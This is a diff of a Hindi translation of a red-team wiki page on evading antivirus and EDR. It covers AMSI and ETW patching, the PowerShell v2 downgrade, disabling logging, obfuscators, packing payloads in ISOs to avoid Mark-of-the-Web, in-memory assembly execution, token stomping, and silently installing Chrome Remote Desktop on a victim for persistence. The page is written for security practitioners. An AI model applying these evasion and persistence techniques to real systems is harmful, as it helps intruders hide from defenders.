वास्तविक स्कैन का परिणाम 0 लौटेगा, जिसे एक साफ परिणाम के रूप में व्याख्यायित किया जाता है। +This technique was initially discovered by [@RastaMouse](https://twitter.com/_RastaMouse/) and it involves finding address for the "AmsiScanBuffer" function in amsi.dll (responsible for scanning the user-supplied input) and overwriting it with instructions to return the code for E_INVALIDARG, this way, the result of the actual scan will return 0, which is interpreted as a clean result. > [!TIP] > कृपया अधिक विस्तृत व्याख्या के लिए [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) पढ़ें। -AMSI को बायपास करने के लिए PowerShell का उपयोग करने के लिए कई अन्य तकनीकें भी हैं, [**इस पृष्ठ**](basic-powershell-for-pentesters/index.html#amsi-bypass) और [**इस रेपो**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) पर जाएं ताकि उनके बारे में अधिक जान सकें। +AMSI को bypass करने के लिए powershell के साथ और भी कई तकनीकें हैं; इनके बारे में और जानने के लिए [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) और [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) देखें। -यह उपकरण [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) भी AMSI को बायपास करने के लिए स्क्रिप्ट उत्पन्न करता है। +यह टूल [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) भी AMSI को bypass करने के लिए स्क्रिप्ट जेनरेट करता है। -**Detected signature को हटाएं** +**डिटेक्ट किए गए सिग्नेचर को हटाएँ** -आप **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** और **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** जैसे उपकरणों का उपयोग करके वर्तमान प्रक्रिया की मेमोरी से पहचानी गई AMSI सिग्नेचर को हटा सकते हैं। यह उपकरण वर्तमान प्रक्रिया की मेमोरी में AMSI सिग्नेचर को स्कैन करके और फिर इसे NOP निर्देशों के साथ ओवरराइट करके काम करता है, प्रभावी रूप से इसे मेमोरी से हटा देता है। +आप वर्तमान प्रोसेस की मेमोरी से डिटेक्ट किए गए AMSI सिग्नेचर को हटाने के लिए **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** और **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** जैसे टूल का उपयोग कर सकते हैं। यह टूल वर्तमान प्रोसेस की मेमोरी में AMSI सिग्नेचर को स्कैन करके उसे NOP निर्देशों से ओवरराइट करता है, इस तरह इसे मेमोरी से प्रभावी रूप से हटा दिया जाता है। -**AMSI का उपयोग करने वाले AV/EDR उत्पाद** +**AV/EDR उत्पाद जो AMSI का उपयोग करते हैं** -आप **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)** में AMSI का उपयोग करने वाले AV/EDR उत्पादों की सूची पा सकते हैं। +AV/EDR उत्पादों की सूची जो AMSI का उपयोग करते हैं, आप **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)** पर पा सकते हैं। -**Powershell संस्करण 2 का उपयोग करें** -यदि आप PowerShell संस्करण 2 का उपयोग करते हैं, तो AMSI लोड नहीं होगा, इसलिए आप अपने स्क्रिप्ट को AMSI द्वारा स्कैन किए बिना चला सकते हैं। आप ऐसा कर सकते हैं: +**Use Powershell version 2** +यदि आप PowerShell version 2 का उपयोग करते हैं, तो AMSI लोड नहीं होगा, इसलिए आप अपने स्क्रिप्ट बिना AMSI द्वारा स्कैन किए चला सकते हैं। आप ऐसा कर सकते हैं: ```bash powershell.exe -version 2 ``` -## PS Logging +## PS लॉगिंग -PowerShell लॉगिंग एक फीचर है जो आपको सिस्टम पर निष्पादित सभी PowerShell कमांड को लॉग करने की अनुमति देता है। यह ऑडिटिंग और समस्या निवारण के उद्देश्यों के लिए उपयोगी हो सकता है, लेकिन यह **हमलावरों के लिए एक समस्या हो सकती है जो पहचान से बचना चाहते हैं**। +PowerShell logging एक ऐसा feature है जो आपको सिस्टम पर चलाए गए सभी PowerShell commands को लॉग करने की अनुमति देता है। यह auditing और troubleshooting के लिए उपयोगी हो सकता है, लेकिन यह उन attackers के लिए भी एक **समस्या हो सकती है जो detection से बचना चाहते हैं**। -PowerShell लॉगिंग को बायपास करने के लिए, आप निम्नलिखित तकनीकों का उपयोग कर सकते हैं: +PowerShell logging को बायपास करने के लिए आप निम्न तकनीकों का उपयोग कर सकते हैं: -- **PowerShell ट्रांसक्रिप्शन और मॉड्यूल लॉगिंग को निष्क्रिय करें**: आप इस उद्देश्य के लिए [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) जैसे टूल का उपयोग कर सकते हैं। -- **Powershell संस्करण 2 का उपयोग करें**: यदि आप PowerShell संस्करण 2 का उपयोग करते हैं, तो AMSI लोड नहीं होगा, इसलिए आप अपने स्क्रिप्ट को AMSI द्वारा स्कैन किए बिना चला सकते हैं। आप ऐसा कर सकते हैं: `powershell.exe -version 2` -- **एक unmanaged PowerShell सत्र का उपयोग करें**: [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) का उपयोग करें ताकि बिना सुरक्षा के PowerShell को स्पॉन किया जा सके (यह वही है जो Cobalt Strike से `powerpick` उपयोग करता है)। +- **Disable PowerShell Transcription and Module Logging**: आप इस उद्देश्य के लिए ऐसे टूल का उपयोग कर सकते हैं जैसे [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs)। +- **Use Powershell version 2**: यदि आप PowerShell version 2 का उपयोग करते हैं, तो AMSI लोड नहीं होगा, इसलिए आप अपने स्क्रिप्ट बिना AMSI द्वारा स्कैन किए चला सकते हैं। आप यह कर सकते हैं: `powershell.exe -version 2` +- **Use an Unmanaged Powershell Session**: [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) का उपयोग करके defenses के बिना एक powershell spawn करें (यही `powerpick` है जो Cobal Strike से उपयोग करता है)। -## Obfuscation +## ऑब्फ़्यूस्केशन > [!TIP] -> कई ऑबफस्केशन तकनीकें डेटा को एन्क्रिप्ट करने पर निर्भर करती हैं, जो बाइनरी की एंट्रॉपी को बढ़ा देगी जिससे AVs और EDRs के लिए इसे पहचानना आसान हो जाएगा। इसके साथ सावधान रहें और शायद केवल अपने कोड के विशिष्ट अनुभागों पर एन्क्रिप्शन लागू करें जो संवेदनशील हैं या जिन्हें छिपाने की आवश्यकता है। +> कई obfuscation तकनीकें डेटा को encrypt करने पर निर्भर करती हैं, जिससे binary की entropy बढ़ जाती है और AVs और EDRs के लिए उसे detect करना आसान हो जाता है। इस बारे में सावधान रहें और संभव हो तो encryption केवल उन कोड सेक्शनों पर लागू करें जो संवेदनशील हों या छूपाने की आवश्यकता हो। ### Deobfuscating ConfuserEx-Protected .NET Binaries -जब ConfuserEx 2 (या व्यावसायिक फोर्क) का उपयोग करने वाले मैलवेयर का विश्लेषण करते हैं, तो कई सुरक्षा परतों का सामना करना सामान्य है जो डिकंपाइलर्स और सैंडबॉक्स को ब्लॉक कर देंगी। नीचे दिया गया वर्कफ़्लो विश्वसनीय रूप से **एक लगभग-मूल IL को पुनर्स्थापित करता है** जिसे बाद में dnSpy या ILSpy जैसे टूल में C# में डिकंपाइल किया जा सकता है। +जब आप ConfuserEx 2 (या commercial forks) का उपयोग करने वाले malware का विश्लेषण करते हैं तो अक्सर कई सुरक्षा परतें मिलती हैं जो decompilers और sandboxes को ब्लॉक कर देती हैं। नीचे दिया गया workflow विश्वसनीय रूप से near–original IL **restore** कर देता है जिसे बाद में dnSpy या ILSpy जैसे tools में C# में decompile किया जा सकता है। -1. एंटी-टैम्पर हटाना – ConfuserEx हर *मेथड बॉडी* को एन्क्रिप्ट करता है और इसे *मॉड्यूल* स्थैतिक कंस्ट्रक्टर (`.cctor`) के अंदर डिक्रिप्ट करता है। यह PE चेकसम को भी पैच करता है ताकि कोई भी संशोधन बाइनरी को क्रैश कर दे। **AntiTamperKiller** का उपयोग करें ताकि एन्क्रिप्टेड मेटाडेटा तालिकाओं को ढूंढा जा सके, XOR कुंजियों को पुनर्प्राप्त किया जा सके और एक साफ असेंबली को फिर से लिखा जा सके: +1. Anti-tampering removal – ConfuserEx हर *method body* को encrypt करता है और इसे *module* static constructor (`.cctor`) के अंदर decrypt करता है। यह PE checksum को भी patch करता है ताकि कोई modification binary को क्रैश कर दे। encrypted metadata tables का पता लगाने, XOR keys recover करने और एक clean assembly rewrite करने के लिए **AntiTamperKiller** का उपयोग करें: ```bash # https://github.com/wwh1004/AntiTamperKiller python AntiTamperKiller.py Confused.exe Confused.clean.exe ``` -आउटपुट में 6 एंटी-टैम्पर पैरामीटर (`key0-key3`, `nameHash`, `internKey`) शामिल होते हैं जो आपके अपने अनपैकर बनाने में उपयोगी हो सकते हैं। +Output में 6 anti-tamper parameters होते हैं (`key0-key3`, `nameHash`, `internKey`) जो अपना unpacker बनाते समय उपयोगी हो सकते हैं। -2. प्रतीक / नियंत्रण-प्रवाह पुनर्प्राप्ति – *साफ* फ़ाइल को **de4dot-cex** (de4dot का एक ConfuserEx-जानकारी वाला फोर्क) में फीड करें। +2. Symbol / control-flow recovery – *clean* फाइल को **de4dot-cex** (de4dot का ConfuserEx-aware fork) को फ़ीड करें। ```bash de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe ``` -फ्लैग: -• `-p crx` – ConfuserEx 2 प्रोफ़ाइल का चयन करें -• de4dot नियंत्रण-प्रवाह समतलीकरण को पूर्ववत करेगा, मूल नामस्थान, वर्ग और चर नामों को पुनर्स्थापित करेगा और स्थायी स्ट्रिंग्स को डिक्रिप्ट करेगा। +Flags: +• `-p crx` – ConfuserEx 2 profile चुनें +• de4dot control-flow flattening को undo करेगा, original namespaces, classes और variable names restore करेगा और constant strings को decrypt करेगा। -3. प्रॉक्सी-कॉल स्ट्रिपिंग – ConfuserEx प्रत्यक्ष मेथड कॉल को हल्के रैपर (जिसे *प्रॉक्सी कॉल* भी कहा जाता है) के साथ बदलता है ताकि डिकंपाइलिंग को और तोड़ सके। उन्हें **ProxyCall-Remover** के साथ हटा दें: +3. Proxy-call stripping – ConfuserEx direct method calls को lightweight wrappers (a.k.a *proxy calls*) से बदल देता है ताकि decompilation और टूटे। इन्हें हटाने के लिए **ProxyCall-Remover** का उपयोग करें: ```bash ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe ``` -इस चरण के बाद आपको सामान्य .NET API जैसे `Convert.FromBase64String` या `AES.Create()` देखना चाहिए बजाय अपारदर्शी रैपर फ़ंक्शंस (`Class8.smethod_10`, …) के। +इस चरण के बाद आप opaque wrapper functions (`Class8.smethod_10`, …) की जगह सामान्य .NET API जैसे `Convert.FromBase64String` या `AES.Create()` देखेंगे। -4. मैनुअल सफाई – परिणामस्वरूप बाइनरी को dnSpy के तहत चलाएं, बड़े Base64 ब्लॉब्स या `RijndaelManaged`/`TripleDESCryptoServiceProvider` के उपयोग के लिए खोजें ताकि *वास्तविक* पेलोड को ढूंढा जा सके। अक्सर मैलवेयर इसे `.byte_0` के अंदर प्रारंभिक TLV-कोडित बाइट एरे के रूप में संग्रहीत करता है। +4. Manual clean-up – resulting binary को dnSpy में चलाएँ, बड़े Base64 blobs या `RijndaelManaged`/`TripleDESCryptoServiceProvider` के उपयोग की खोज करें ताकि वास्तविक payload का पता चल सके। अक्सर malware इसे `.byte_0` के अंदर TLV-encoded byte array के रूप में store करता है। -उपरोक्त श्रृंखला निष्क्रिय नमूने को चलाने की आवश्यकता के बिना निष्पादन प्रवाह को पुनर्स्थापित करती है - ऑफ़लाइन वर्कस्टेशन पर काम करते समय उपयोगी। +ऊपर दिया गया चेन execution flow को **बिना** malicious sample चलाए restore कर देता है — यह offline workstation पर काम करते समय उपयोगी है। -> 🛈 ConfuserEx एक कस्टम एट्रिब्यूट उत्पन्न करता है जिसका नाम `ConfusedByAttribute` है जिसे IOC के रूप में उपयोग किया जा सकता है ताकि स्वचालित रूप से नमूनों की प्राथमिकता दी जा सके। +> 🛈 ConfuserEx एक custom attribute `ConfusedByAttribute` उत्पन्न करता है जिसे IOC के रूप में samples को automatically triage करने के लिए उपयोग किया जा सकता है। -#### One-liner +#### एक-लाइनर ```bash autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially ``` --- - [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator** -- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): इस प्रोजेक्ट का उद्देश्य [LLVM](http://www.llvm.org/) संकलन सूट का एक ओपन-सोर्स फोर्क प्रदान करना है जो [कोड ऑबफस्केशन]() और टेम्पर-प्रूफिंग के माध्यम से सॉफ़्टवेयर सुरक्षा बढ़ा सके। -- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator दिखाता है कि `C++11/14` भाषा का उपयोग करके, संकलन के समय, बिना किसी बाहरी उपकरण का उपयोग किए और संकलक को संशोधित किए बिना, ऑबफस्केटेड कोड कैसे उत्पन्न किया जा सकता है। -- [**obfy**](https://github.com/fritzone/obfy): C++ टेम्पलेट मेटाप्रोग्रामिंग फ्रेमवर्क द्वारा उत्पन्न ऑबफस्केटेड ऑपरेशनों की एक परत जोड़ें जो एप्लिकेशन को क्रैक करने की कोशिश कर रहे व्यक्ति के लिए जीवन को थोड़ा कठिन बना देगी। -- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz एक x64 बाइनरी ऑबफस्केटर है जो विभिन्न प्रकार की pe फ़ाइलों को ऑबफस्केट करने में सक्षम है, जिसमें: .exe, .dll, .sys शामिल हैं। -- [**metame**](https://github.com/a0rtega/metame): Metame एक साधारण मेटामॉर्फिक कोड इंजन है जो मनमाने निष्पादन योग्य के लिए है। -- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator एक बारीक-बारीक कोड ऑबफस्केशन फ्रेमवर्क है जो LLVM-समर्थित भाषाओं के लिए ROP (रिटर्न-ओरिएंटेड प्रोग्रामिंग) का उपयोग करता है। ROPfuscator एक प्रोग्राम को असेंबली कोड स्तर पर ऑबफस्केट करता है, सामान्य नियंत्रण प्रवाह की हमारी स्वाभाविक धारणा को बाधित करता है। -- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt एक .NET PE क्रिप्टर है जो Nim में लिखा गया है। -- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor मौजूदा EXE/DLL को शेलकोड में परिवर्तित करने और फिर उन्हें लोड करने में सक्षम है। +- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): The aim of this project is to provide an open-source fork of the [LLVM](http://www.llvm.org/) compilation suite able to provide increased software security through [code obfuscation]() and tamper-proofing. +- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstates how to use `C++11/14` language to generate, at compile time, obfuscated code without using any external tool and without modifying the compiler. +- [**obfy**](https://github.com/fritzone/obfy): Add a layer of obfuscated operations generated by the C++ template metaprogramming framework which will make the life of the person wanting to crack the application a little bit harder. +- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz is a x64 binary obfuscator that is able to obfuscate various different pe files including: .exe, .dll, .sys +- [**metame**](https://github.com/a0rtega/metame): Metame is a simple metamorphic code engine for arbitrary executables. +- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator is a fine-grained code obfuscation framework for LLVM-supported languages using ROP (return-oriented programming). ROPfuscator obfuscates a program at the assembly code level by transforming regular instructions into ROP chains, thwarting our natural conception of normal control flow. +- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt is a .NET PE Crypter written in Nim +- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor is able to convert existing EXE/DLL into shellcode and then load them ## SmartScreen & MoTW -आपने इंटरनेट से कुछ निष्पादन योग्य फ़ाइलें डाउनलोड करते समय और उन्हें निष्पादित करते समय यह स्क्रीन देखी होगी। +आपने इंटरनेट से कुछ executables डाउनलोड करके चलाते समय यह स्क्रीन देखी होगी। -Microsoft Defender SmartScreen एक सुरक्षा तंत्र है जिसका उद्देश्य अंतिम उपयोगकर्ता को संभावित रूप से दुर्भावनापूर्ण अनुप्रयोगों को चलाने से बचाना है। +Microsoft Defender SmartScreen एक सुरक्षा मेकैनिज़्म है जिसका उद्देश्य end user को संभावित malicious applications चलाने से बचाना है।
-SmartScreen मुख्य रूप से एक प्रतिष्ठा-आधारित दृष्टिकोण के साथ काम करता है, जिसका अर्थ है कि असामान्य रूप से डाउनलोड की गई अनुप्रयोग SmartScreen को सक्रिय करेगी, जिससे अंतिम उपयोगकर्ता को फ़ाइल निष्पादित करने से रोका जाएगा (हालांकि फ़ाइल को अभी भी More Info -> Run anyway पर क्लिक करके निष्पादित किया जा सकता है)। +SmartScreen मुख्य रूप से एक reputation-based approach पर काम करता है, जिसका मतलब है कि कम डाउनलोड होने वाले applications SmartScreen को trigger करेंगे और end user को फ़ाइल चलाने से अलर्ट और रोकेंगे (हालांकि फ़ाइल को फिर भी More Info -> Run anyway पर क्लिक करके चलाया जा सकता है)। -**MoTW** (Mark of The Web) एक [NTFS Alternate Data Stream]() है जिसका नाम Zone.Identifier है, जो इंटरनेट से फ़ाइलें डाउनलोड करते समय स्वचालित रूप से बनाया जाता है, साथ ही उस URL के साथ जिससे इसे डाउनलोड किया गया था। +**MoTW** (Mark of The Web) एक [NTFS Alternate Data Stream]() है जिसका नाम Zone.Identifier होता है और यह इंटरनेट से फ़ाइलें डाउनलोड करने पर अपने आप बन जाता है, साथ ही इसमें उस URL की जानकारी भी रखी जाती है जहाँ से फ़ाइल डाउनलोड हुई थी। -

इंटरनेट से डाउनलोड की गई फ़ाइल के लिए Zone.Identifier ADS की जांच करना।

+

इंटरनेट से डाउनलोड की गई फ़ाइल के लिए Zone.Identifier ADS की जाँच।

> [!TIP] -> यह ध्यान रखना महत्वपूर्ण है कि **विश्वसनीय** साइनिंग सर्टिफिकेट के साथ साइन की गई निष्पादन योग्य फ़ाइलें **SmartScreen को सक्रिय नहीं करेंगी**। +> यह जानना महत्वपूर्ण है कि executables जो एक **trusted** signing certificate से साइन किए गए हैं **won't trigger SmartScreen**। -आपके पेलोड को Mark of The Web से बचाने का एक बहुत प्रभावी तरीका उन्हें किसी प्रकार के कंटेनर जैसे ISO के अंदर पैकेज करना है। ऐसा इसलिए होता है क्योंकि Mark-of-the-Web (MOTW) **गैर NTFS** वॉल्यूम पर **लागू नहीं** किया जा सकता है। +एक बहुत प्रभावी तरीका जिससे आपके payloads को Mark of The Web मिलने से रोका जा सकता है वह है उन्हें किसी container जैसे ISO के अंदर पैकेज करना। ऐसा इसलिए होता है क्योंकि Mark-of-the-Web (MOTW) **cannot** be applied to **non NTFS** volumes।
-[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) एक उपकरण है जो पेलोड को आउटपुट कंटेनरों में पैकेज करता है ताकि Mark-of-the-Web से बचा जा सके। +[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) एक टूल है जो payloads को output containers में पैकेज करके Mark-of-the-Web से बचने में मदद करता है। -उदाहरण उपयोग: +Example usage: ```bash PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso @@ -326,50 +333,51 @@ Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files ## ETW -Event Tracing for Windows (ETW) एक शक्तिशाली लॉगिंग तंत्र है जो Windows में अनुप्रयोगों और सिस्टम घटकों को **इवेंट्स लॉग** करने की अनुमति देता है। हालाँकि, इसका उपयोग सुरक्षा उत्पादों द्वारा दुर्भावनापूर्ण गतिविधियों की निगरानी और पहचान के लिए भी किया जा सकता है। +Event Tracing for Windows (ETW) Windows में एक शक्तिशाली लॉगिंग मैकेनिज्म है जो applications और system components को events को log करने की अनुमति देता है। हालांकि, इसे security products द्वारा malicious गतिविधियों की निगरानी और पता लगाने के लिए भी इस्तेमाल किया जा सकता है। -जैसे AMSI को अक्षम (बायपास) किया जाता है, वैसे ही उपयोगकर्ता स्थान प्रक्रिया के **`EtwEventWrite`** फ़ंक्शन को बिना किसी इवेंट लॉग किए तुरंत लौटने के लिए भी बनाया जा सकता है। यह मेमोरी में फ़ंक्शन को पैच करके किया जाता है ताकि यह तुरंत लौट सके, प्रभावी रूप से उस प्रक्रिया के लिए ETW लॉगिंग को अक्षम कर देता है। +जिस तरह AMSI को disable (bypass) किया जाता है, उसी तरह user space process के **`EtwEventWrite`** फ़ंक्शन को भी तुरंत return करवा कर बिना किसी इवेंट को लॉग किए वापस लौटाया जा सकता है। यह प्रक्रिया उस फ़ंक्शन को मेमोरी में patch करके की जाती है ताकि वह तुरंत return कर दे, जिससे उस process के लिए ETW logging effectively disabled हो जाता है। + +आप और जानकारी यहाँ पा सकते हैं: **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) और [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**। -आप अधिक जानकारी पा सकते हैं **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) और [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**। ## C# Assembly Reflection -C# बाइनरी को मेमोरी में लोड करना काफी समय से जाना जाता है और यह आपके पोस्ट-एक्सप्लॉइटेशन टूल्स को AV द्वारा पकड़े जाने के बिना चलाने का एक बहुत अच्छा तरीका है। +C# binaries को memory में load करना काफी समय से जाना-माना तरीका है और यह अभी भी आपके post-exploitation tools को AV के पकड़े बिना चलाने का एक शानदार तरीका है। -चूंकि पेलोड सीधे मेमोरी में लोड किया जाएगा बिना डिस्क को छुए, हमें पूरे प्रक्रिया के लिए AMSI को पैच करने की चिंता करनी होगी। +क्योंकि payload सीधे memory में load होगा और disk को छुएगा नहीं, हमें केवल process के लिए AMSI को patch करने की चिंता करनी होगी। -अधिकांश C2 फ्रेमवर्क (sliver, Covenant, metasploit, CobaltStrike, Havoc, आदि) पहले से ही मेमोरी में सीधे C# असेंबली को निष्पादित करने की क्षमता प्रदान करते हैं, लेकिन ऐसा करने के विभिन्न तरीके हैं: +Most C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, आदि) पहले से ही C# assemblies को सीधे memory में execute करने की क्षमता प्रदान करते हैं, लेकिन ऐसा करने के विभिन्न तरीके हैं: - **Fork\&Run** -इसमें **एक नया बलिदान प्रक्रिया उत्पन्न करना** शामिल है, अपने पोस्ट-एक्सप्लॉइटेशन दुर्भावनापूर्ण कोड को उस नए प्रक्रिया में इंजेक्ट करना, अपने दुर्भावनापूर्ण कोड को निष्पादित करना और जब समाप्त हो जाए, तो नए प्रक्रिया को समाप्त करना। इसके अपने लाभ और हानि हैं। फोर्क और रन विधि का लाभ यह है कि निष्पादन हमारे बीकन इम्प्लांट प्रक्रिया के **बाहर** होता है। इसका मतलब है कि यदि हमारे पोस्ट-एक्सप्लॉइटेशन क्रिया में कुछ गलत हो जाता है या पकड़ा जाता है, तो हमारे **इम्प्लांट के जीवित रहने की संभावना बहुत अधिक है।** हानि यह है कि आपको **व्यवहारात्मक पहचान** द्वारा पकड़े जाने की **अधिक संभावना** होती है। +यह involve करता है **एक नया sacrificial process spawn करना**, उस नए process में आपका post-exploitation malicious code inject करना, अपना malicious code execute करना और पूरा होने पर नए process को kill कर देना। इसके फायदे और नुकसान दोनों हैं। Fork and run method का लाभ यह है कि execution हमारे Beacon implant process के बाहर होता है। इसका मतलब है कि अगर हमारी post-exploitation action में कुछ गलत होता है या पकड़ा जाता है, तो हमारे implant के बचने की संभावना बहुत ज्यादा रहती है। नुकसान यह है कि Behaviorial Detections द्वारा पकड़े जाने की संभावना भी बढ़ जाती है।
- **Inline** -यह अपने पोस्ट-एक्सप्लॉइटेशन दुर्भावनापूर्ण कोड को **अपने ही प्रक्रिया में इंजेक्ट करने** के बारे में है। इस तरह, आप एक नया प्रक्रिया बनाने और AV द्वारा स्कैन किए जाने से बच सकते हैं, लेकिन हानि यह है कि यदि आपके पेलोड के निष्पादन में कुछ गलत हो जाता है, तो **अपने बीकन को खोने की संभावना बहुत अधिक है** क्योंकि यह क्रैश हो सकता है। +यह तरीका अपना post-exploitation malicious code **अपने ही process में inject** करने के बारे में है। इस तरह आप नए process बनाने और उसे AV द्वारा scan किए जाने से बच सकते हैं, लेकिन नुकसान यह है कि अगर आपके payload के execution में कुछ गलत होता है तो आपकी beacon खो जाने की संभावना बहुत अधिक होती है क्योंकि यह crash कर सकती है।
> [!TIP] -> यदि आप C# असेंबली लोडिंग के बारे में अधिक पढ़ना चाहते हैं, तो कृपया इस लेख को देखें [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) और उनके InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly)) +> यदि आप C# Assembly loading के बारे में और पढ़ना चाहते हैं, तो इस लेख को देखें [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) और उनका InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly)) -आप C# असेंबली को **PowerShell से भी लोड कर सकते हैं**, [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) और [S3cur3th1sSh1t का वीडियो](https://www.youtube.com/watch?v=oe11Q-3Akuk) देखें। +आप C# Assemblies को **PowerShell से** भी load कर सकते हैं, देखें [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) और [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk)। ## Using Other Programming Languages -जैसा कि [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) में प्रस्तावित किया गया है, यह अन्य भाषाओं का उपयोग करके दुर्भावनापूर्ण कोड निष्पादित करना संभव है, जिससे समझौता की गई मशीन को **हमलावर द्वारा नियंत्रित SMB शेयर पर स्थापित इंटरप्रेटर वातावरण तक पहुंच** मिलती है। +जैसा कि प्रस्तावित है [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), यह संभव है कि compromised मशीन को attacker controlled SMB share पर स्थापित interpreter environment का access देकर अन्य भाषाओं का उपयोग करके malicious code execute किया जाए। -इंटरप्रेटर बाइनरी और SMB शेयर पर वातावरण तक पहुंच की अनुमति देकर आप **इन भाषाओं में समझौता की गई मशीन की मेमोरी में मनमाना कोड निष्पादित कर सकते हैं।** +SMB share पर Interpreter Binaries और environment तक access देने पर आप compromised मशीन की मेमोरी के भीतर इन भाषाओं में arbitrary code execute कर सकते हैं। -रेपो इंगित करता है: डिफेंडर अभी भी स्क्रिप्ट को स्कैन करता है लेकिन Go, Java, PHP आदि का उपयोग करके हमारे पास **स्थिर हस्ताक्षरों को बायपास करने के लिए अधिक लचीलापन है।** इन भाषाओं में यादृच्छिक अन-ऑबफस्केटेड रिवर्स शेल स्क्रिप्ट के साथ परीक्षण सफल साबित हुआ है। +रेपो में बताया गया है: Defender अभी भी scripts को scan करता है लेकिन Go, Java, PHP आदि का उपयोग करके हमारे पास static signatures को bypass करने की अधिक flexibility होती है। इन भाषाओं में random un-obfuscated reverse shell scripts के साथ परीक्षण सफल रहा है। ## TokenStomping -Token stomping एक तकनीक है जो हमलावर को **एक्सेस टोकन या सुरक्षा उत्पाद जैसे EDR या AV को हेरफेर करने** की अनुमति देती है, जिससे उन्हें इसके विशेषाधिकार को कम करने की अनुमति मिलती है ताकि प्रक्रिया न मरे लेकिन इसके पास दुर्भावनापूर्ण गतिविधियों की जांच करने के लिए अनुमतियाँ न हों। +Token stomping एक तकनीक है जो attacker को access token या किसी security product जैसे EDR या AV को manipulate करने की अनुमति देती है, जिससे वे उसकी privileges घटा सकते हैं ताकि process मर न पाए पर उसके पास malicious गतिविधियों की जाँच करने की permissions न रहें। -इससे बचने के लिए Windows **बाहरी प्रक्रियाओं** को सुरक्षा प्रक्रियाओं के टोकन पर हैंडल प्राप्त करने से रोक सकता है। +Windows इसे रोकने के लिए security processes के tokens पर external processes को handles मिलने से रोक सकता है। - [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/) - [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp) @@ -379,25 +387,28 @@ Token stomping एक तकनीक है जो हमलावर को ** ### Chrome Remote Desktop -जैसा कि [**इस ब्लॉग पोस्ट**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide) में वर्णित है, किसी पीसी पर Chrome Remote Desktop को तैनात करना और फिर इसका उपयोग करना और स्थिरता बनाए रखना आसान है: -1. https://remotedesktop.google.com/ से डाउनलोड करें, "SSH के माध्यम से सेट अप करें" पर क्लिक करें, और फिर Windows के लिए MSI फ़ाइल पर क्लिक करें। -2. पीड़ित (व्यवस्थापक की आवश्यकता) में चुपचाप इंस्टॉलर चलाएँ: `msiexec /i chromeremotedesktophost.msi /qn` -3. Chrome Remote Desktop पृष्ठ पर वापस जाएँ और अगला क्लिक करें। विज़ार्ड फिर आपसे अधिकृत करने के लिए कहेगा; जारी रखने के लिए अधिकृत बटन पर क्लिक करें। -4. कुछ समायोजनों के साथ दिए गए पैरामीटर को 